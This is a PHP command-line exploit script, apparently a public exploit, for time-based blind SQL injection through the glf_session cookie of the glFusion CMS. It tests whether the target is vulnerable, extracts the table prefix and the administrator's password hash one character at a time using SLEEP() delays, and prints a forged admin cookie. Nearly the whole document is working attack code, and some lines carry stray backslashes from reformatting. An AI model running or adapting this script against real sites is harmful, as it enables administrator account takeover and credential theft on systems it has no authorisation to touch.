<?php
$err[0] = "[!] This script is intended to be launched from the cli!";
$err[1] = "[!] You need the curl extesion loaded!";
if (php_sapi_name() <> "cli") {
die($err[0]);
}
if (!extension_loaded('curl')) {
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
false;
if ($win) {
!dl("php_curl.dll") ? die($err[1]) :
nil;
} else {
!dl("php_curl.so") ? die($err[1]) :
nil;
}
}
function syntax() {
print (
"Syntax: php ".$argv[0]." [host] [path] [user] [pass] [OPTIONS] \n". \
"Options: \n". \
"--port:[port] - specify a port \n". " \
default->80 \n". "--prefix - try to \
extract table prefix from information.schema\n". " default->gl_ \
\n". "--uid:[n] - specify an uid other than default (2,usually admin)\n". \
"--proxy:[host:port] - use proxy \n". \
"--verbose - show more informations \n". \
"--skiptest - skip preliminary tests \n". \
"--test - run only tests \n". \
"Examples: php ".$argv[0]." 192.168.0.1 /glfusion/ bookoo pass \n". " \
php ".$argv[0]." 192.168.0. 1 / bookoo pass --prefix --proxy:1.1.1.1:8080\n". " \
php ".$argv[0]." 192.168.0.1 / bookoo pass --prefix --uid:3"); die();
}
error_reporting(E_ALL ^ E_NOTICE);
$host = $argv[1];
$path = $argv[2];
$_user = $argv[3];
$_pwd = $argv[4];
$prefix = "gl_";
//default
$uid = "2";
$where = "uid=$uid"; //user id, usually admin, anonymous = 1
$argv[4] ? print("[*] Attacking...\n") :
syntax();
$_f_prefix = false;
$_use_proxy = false;
$port = 80;
$_skiptest = false;
$_verbose = false;
$_test = false;
for ($i = 3; $i < $argc; $i++) {
if (stristr($argv[$i], "--prefix")) {
$_f_prefix = true;
}
if (stristr($argv[$i], "--proxy:")) {
$_use_proxy = true;
$tmp = explode(":", $argv[$i]);
$proxy_host = $tmp[1];
$proxy_port = (int)$tmp[2];
}
if (stristr($argv[$i], "--port:")) {
$tmp = explode(":", $argv[$i]);
$port = (int)$tmp[1];
}
if (stristr($argv[$i], "--uid")) {
$tmp = explode(":", $argv[$i]);
$uid = (int)$tmp[1];
$where = "uid=$uid";
}
if (stristr($argv[$i], "--verbose")) {
$_verbose = true;
}
if (stristr($argv[$i], "--skiptest")) {
$_skiptest = true;
}
if (stristr($argv[$i], "--test")) {
$_test = true;
}
}
function _s($url, $ck, $is_post, $request) {
global $_use_proxy, $proxy_host, $proxy_port;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
if ($is_post) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $request."\r\n");
}
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; \
it; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7"); curl_setopt($ch, CURLOPT_TIMEOUT, \
0); curl_setopt($ch, CURLOPT_HEADER, 1);
$cookies = array("Cookie: ".$ck);
curl_setopt($ch, CURLOPT_HTTPHEADER, $cookies);
if ($_use_proxy) {
curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
}
$_d = curl_exec($ch);
if (curl_errno($ch)) {
die("[!] ".curl_error($ch)."\n");
} else {
curl_close($ch);
}
return $_d;
}
function chk_err($s) {
if (stripos ($s, \
"\x41\x6e\x20\x53\x51\x4c\x20\x65\x72\x72\x6f\x72\x20\x68\x61\x73\x20\x6f\x63\x63\x75\ \
x72\x72\x65\x64")) { return true;
} else {
return false;
}
}
function chk_login($s) {
if (stripos ($s, \
"\x50\x6c\x65\x61\x73\x65\x20\x65\x6e\x74\x65\x72\x20\x79\x6f\x75\x72\x20\x75\x73\x65\ \
x72\x20\x6e\x61\x6d\x65\x20\x61\x6e\x64\x20\x70\x61\x73\x73\x77\x6f\x72\x64\x20\x62\x6 \
5\x6c\x6f\x77")) { die("[!] Unable to login: wrong credentials.");
}
if (stripos ($s, \
"\x59\x6f\x75\x20\x68\x61\x76\x65\x20\x65\x78\x63\x65\x65\x64\x65\x64\x20\x74\x68\x65\ \
x20\x6e\x75\x6d\x62\x65\x72\x20\x6f\x66\x20\x61\x6c\x6c\x6f\x77\x65\x64\x20\x6c\x6f\x6 \
7\x69\x6e\x20\x61\x74\x74\x65\x6d\x70\x74\x73\x2e\x20\x20\x50\x6c\x65\x61\x73\x65\x20\ \
x74\x72\x79\x20\x61\x67\x61\x69\x6e\x20\x6c\x61\x74\x65\x72\x2e")) {
die("[!] You have exceeded the number of allowed login attempts.");
}
}
function login() {
global $url, $host, $port, $path, $_user, $_pwd, $_verbose;
$url = "http://$host:$port".$path."users.php";
$out = _s($url, "", 1, "loginname=$_user&passwd=$_pwd&bb2_screener_=");
chk_login($out);
$tmp = explode("\x0d\x0a\x0d\x0a", $out);
$tmp = explode("\x67\x6c\x66\x5f\x73\x65\x73\x73\x69\x6f\x6e\x3d", $tmp[0]);
$tmp = explode("\x3b", $tmp[1]);
$sessid = (int)$tmp[0];
!$sessid ? die("[!] Unable to login ...") :
nil;
if ($_verbose) {
print "[?] sessid->".$sessid."\n";
}
return $sessid;
}
function tests() {
global $host, $port, $path, $n, $delayfunc;
$sessid = login();
$sql = "--";
$cookies = "glf_session=$sessid".$sql."; glfusion=9999999999;";
$url = "http://$host:$port".$path;
$_o = _s($url, $cookies, 0, "");
if (chk_err($_o)) {
print("[?] Vulnerable!\n");
} else {
die ("[?] Not vulnerable ...");
}
$sessid = login();
$sql = " AND (CASE WHEN (SELECT 1) THEN 1 ELSE 0 END) ) LIMIT 1-- ";
$cookies = "glf_session=$sessid".$sql."; glfusion=9999999999;";
$_o = _s($url, $cookies, 0, "");
if (chk_err($_o)) {
die("[!] MySQL < 4.1!\n");
} else {
print("[*] Subquery works!->Mysql >= 4.1\n");
}
$sessid = login();
$sql = " AND (CASE WHEN (SELECT 1) THEN 1 ELSE SLEEP(0) END) ) LIMIT 1-- ";
$cookies = "glf_session=$sessid".$sql."; glfusion=9999999999;";
$_o = _s($url, $cookies, 0, "");
if (chk_err($_o)) {
die("[!] SLEEP() function not availiable! MySQL < 5.0.12\n");
} else {
print("[*] SLEEP() function availiable. MySQL >= 5.0.12\n");
}
$cookies = "";
$_z = 0;
$_w = 10;
for ($i = 0; $i <= $_w; $i++) {
$starttime = time();
$_o = _s($url, $cookies, 0, "");
$endtime = time();
$difftime = $endtime - $starttime;
$_z = $_z + $difftime;
}
$_y = round($_z / $_w);
$n = $n + $_y;
if ($_y <> 0) {
print("[*] Adjusting delay time of ".$_y." second(s)->delay = ".$n."\n");
}
}
function find_prefix() {
global $host, $port, $path, $delayfunc, $_user, $_pwd, $n;
$_tn = "TABLE_NAME"; //case important ??
$_ift = "information_schema.TABLES"; //??
$_table_prefix = "";
$j = -15;
print "[*] Initiating table prefix extraction...\n";
while (!$null_f) {
$mn = 0x00;
$mx = 0xff;
while (1) {
if (($mx + $mn) % 2 == 1) {
$c = round(($mx + $mn) / 2) - 1;
} else {
$c = round(($mx + $mn) / 2);
}
$sessid = login();
$sql = " AND (CASE WHEN (SELECT (ASCII(SUBSTR(".$_tn." FROM $j FOR \
1)) >= ".$c.") FROM ".$_ift." WHERE ".$_tn." LIKE 0x25747261636b6261636b636f646573 \
LIMIT 1) THEN $delayfunc ELSE 0 END) ) LIMIT 1-- ";
$cookies = "glf_session=$sessid".$sql."; glfusion=9999999999;";
$url = "http://$host:$port".$path;
$starttime = time();
$_o = _s($url, $cookies, 0, "");
$endtime = time();
$difftime = $endtime - $starttime;
if (chk_err($_o)) {
die("\n[!] information_schema not availiable! MySQL < 5.0");
}
if ($difftime > ($n-1)) {
$mn = $c;
sleep($n);
} else {
$mx = $c - 1;
}
if (($mx-$mn == 1) or ($mx == $mn)) {
$sessid = login();
$sql = " AND (CASE WHEN (SELECT (ASCII(SUBSTR(".$_tn." FROM $j \
FOR 1)) = ".$mn.") FROM ".$_ift." WHERE ".$_tn." LIKE \
0x25747261636b6261636b636f646573 LIMIT 1) THEN $delayfunc ELSE 0 END) \
) LIMIT 1-- ";
$cookies = "glf_session=$sessid".$sql."; glfusion=9999999999;";
$url = "http://$host:$port".$path;
$starttime = time();
$_o = _s($url, $cookies, 0, "");
$endtime = time();
$difftime = $endtime - $starttime;
if ($difftime > ($n-1)) {
if ($mn <> 0) {
$_table_prefix = chr($mn).$_table_prefix;
} else {
$null_f = true;
}
} else {
$_table_prefix = chr($mx).$_table_prefix;
}
if (!$null_f) {
print ("[?] Table prefix->[??]".$_table_prefix."\n");
}
sleep($n);
break;
}
}
$j--;
}
print "[?] Table prefix->".$_table_prefix."\n";
return $_table_prefix;
}
$n = 30; //delay n seconds
if (!$_skiptest) {
print "[*] Initiating preliminary tests ...\n";
tests();
}
if ($_test) {
die();
}
$delayfunc = "SLEEP(".$n.")";
if ($_f_prefix == true) {
$prefix = find_prefix();
}
$c = array();
$c = array_merge($c, range(0x30, 0x39));
$c = array_merge($c, range(0x61, 0x66));
$url = "http://$host:$port".$path;
$_hash = "";
print ("[*] Initiating hash extraction ...\n");
for ($j = 1; $j < 0x21; $j++) {
for ($i = 0; $i <= 0xff; $i++) {
$f = false;
if (in_array($i, $c)) {
$sessid = login();
$sql = " AND (CASE WHEN (SELECT (ASCII(SUBSTR(passwd FROM $j FOR \
1))=$i) FROM ".$prefix."users WHERE $where LIMIT 1) THEN $delayfunc ELSE 0 END) ) \
LIMIT 1-- ";
$cookies = "glf_session=$sessid".$sql."; glfusion=9999999999;";
$starttime = time();
$out = _s($url, $cookies, 0, "");
$endtime = time();
$difftime = $endtime - $starttime;
if (chk_err($out)) {
die("[!] sql error.");
}
if ($difftime > ($n-1)) {
$f = true;
$_hash .= chr($i);
print "[?] hash: ".$_hash."[??]\n";
sleep($n);
break;
}
}
}
if ($f == false) {
die("\n[!] Unknown error ...");
}
}
print "\n[*] your cookie->glfusion=".$uid."; glf_password=".$_hash."; \
glf_theme=nouveau;";
?>
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